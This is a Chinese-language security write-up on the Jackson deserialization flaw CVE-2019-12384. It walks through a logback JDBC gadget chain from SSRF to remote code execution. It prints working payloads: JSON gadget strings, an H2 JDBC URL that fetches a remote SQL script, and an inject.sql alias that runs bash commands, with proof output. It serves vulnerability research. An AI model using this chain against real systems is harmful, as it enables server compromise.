在一次渗透测试中,我们分析到目标应用使用了Java Jackson库来反序列化JSONs数据。进一步分析我们找出了一个反序列化漏洞,通过该漏洞我们可以控制想要反序列化的类。在本文我将向各位展示攻击者如何利用这个反序列化漏洞来造成SSRF(服务端请求伪造)和远程代码执行。
这个Jackson库的漏洞被分配为CVE-2019-12384,大量RedHat的产品受到影响。
关于如何触发这个库的漏洞,Jackson库开发者在博文中如是说:
java.lang.Object
类型的属性,应用程序使用多态类型来处理(或少数几个可用的接口,例如java.util.Serializable
,java.util.Comparable
)。回到本文,在这次研究,条件1,2较为容易满足。其实我们只需要集中精力寻找一个既满足3又满足4的“gadget”类。值得注意的是,Jackson是Java应用中最常使用的反序列化框架之一,多态(polymorphism)类型是其中的一个重要概念。对于使用静态分析工具或其他动态技术的攻击者(例如在目标应用的请求或响应中查找关键词@class
)来说,搜寻目标场景很简单。
针对这次研究,我们开发了一个小工具协助我们发现漏洞。Jackson反序列化时,我们可以滥用ch.qos.logback.core.db.DriverManagerConnectionSource
类来实例化JDBC连接。JDBC即为Java Database Connectivity。JDBC是一个连接并查询数据库的Java API,属于JavaSE的一部分。此外,JDBC使用的是自动化映射字符到类,因此它是一个绝佳目标,可以帮助我们在利用链条上加载执行更多的“gadget”。
为了演示此次攻击,我们准备了一个包装器,可以指定攻击者想要加载的任意多态类。在环境方面,我们使用的是基于JVM的jRuby,以便于我们轻松地加载并实例化Java类。
我们使用该环境在给定目录中加载Java类,并且准备好了满足要求1,2的Jackson环境。为了实现这点,我们编写了下面这段jRuby代码:
require 'java' Dir["./classpath/*.jar"].each do |f| require f end java_import 'com.fasterxml.jackson.databind.ObjectMapper' java_import 'com.fasterxml.jackson.databind.SerializationFeature' content = ARGV[0] puts "Mapping" mapper = ObjectMapper.new mapper.enableDefaultTyping() mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false); puts "Serializing" obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all the setters puts "objectified" puts "stringified: " + mapper.writeValueAsString(obj)
脚本执行以下操作:
在本次研究我们会使用一些在社区流行的gadget。Maven central仓库的前一百库都是我们目标,以便显示影响。
如果你想复现这次攻击,你可以下载下面的这些库并放入“classpath”目录中:
值得注意的是SSRF攻击不要求使用h2
库,根据经验大多数时候Java应用至少加载一个JDBC驱动程序。JDBC可以看作某些类,传入的JDBC URL会自动被实例化,完整URL会被作为参数传入。
使用下面这条命令,我们在上述类路径中调用上面的脚本。
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:\"}]"
在脚本的第十五行,Jackson会使用子对象中的键值递归调用所有的set方法。具体来说,Jackson反射库会调用setUrl(String url)
,并作为参数传入。在此阶段完成后(第十七行),完整的对象再次被序列化为JSON对象。如没有定义get方法或通过显式get方法,此时所有的字段都会被直接序列化。有趣的是,我们的set方法是getConnection()
。其实作为攻击者,他们最感兴趣的是所有的“不纯”方法,如果可以控制参数,这会产生一些有趣的副作用。
当getConnection()
被调用时,在内存中一个数据库被实例化。因为应用程序生命周期过于短暂,从攻击者角度无法获取有价值的影响。为了实现有趣的事,我们创建了一个远程数据库。如果目标应用被当作远程服务部署,攻击者可以发动SSRF攻击。下图即为一个例子:
正如你见,这些场景都可能会导致SSRF和DoS攻击。当然,这些攻击很有可能会影响到应用到安全性,我们仍想向你展示由SSRF转化RCE的完整链。
为了在应用程序的上下文中获取完整的代码执行权限,我们在环境中添加了加载H2 JDBC驱动程序的功能。H2是一个非常快速的SQL嵌入式数据库,常用于替代全功能的SQL数据库管理系统(例如Postgresql,MSSql,MySql和OracleDB)。H2配置非常便捷,而且它支持多种模块例如基于内存,文件或远程服务器。H2支持从JDBC URL中运行SQL脚本,该功能主要目的是方便内存数据库进行INIT迁移。攻击者通过这一点仍无法在JVM中真正地执行Java代码。然而我们的H2在JVM框架内运行,可以指定包含java代码的自定义别名。通过这点,我们可以实现代码执行。
通过本地构建Python Web服务器( python -m SimpleHttpServer
),我们可以简单地托管inject.sql
INIT文件。
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('id > exploited.txt')
然后使用下面这段代码测试应用:
$ jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]" ... $ cat exploited.txt uid=501(...) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),701(com.apple.sharepoint.group.1),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)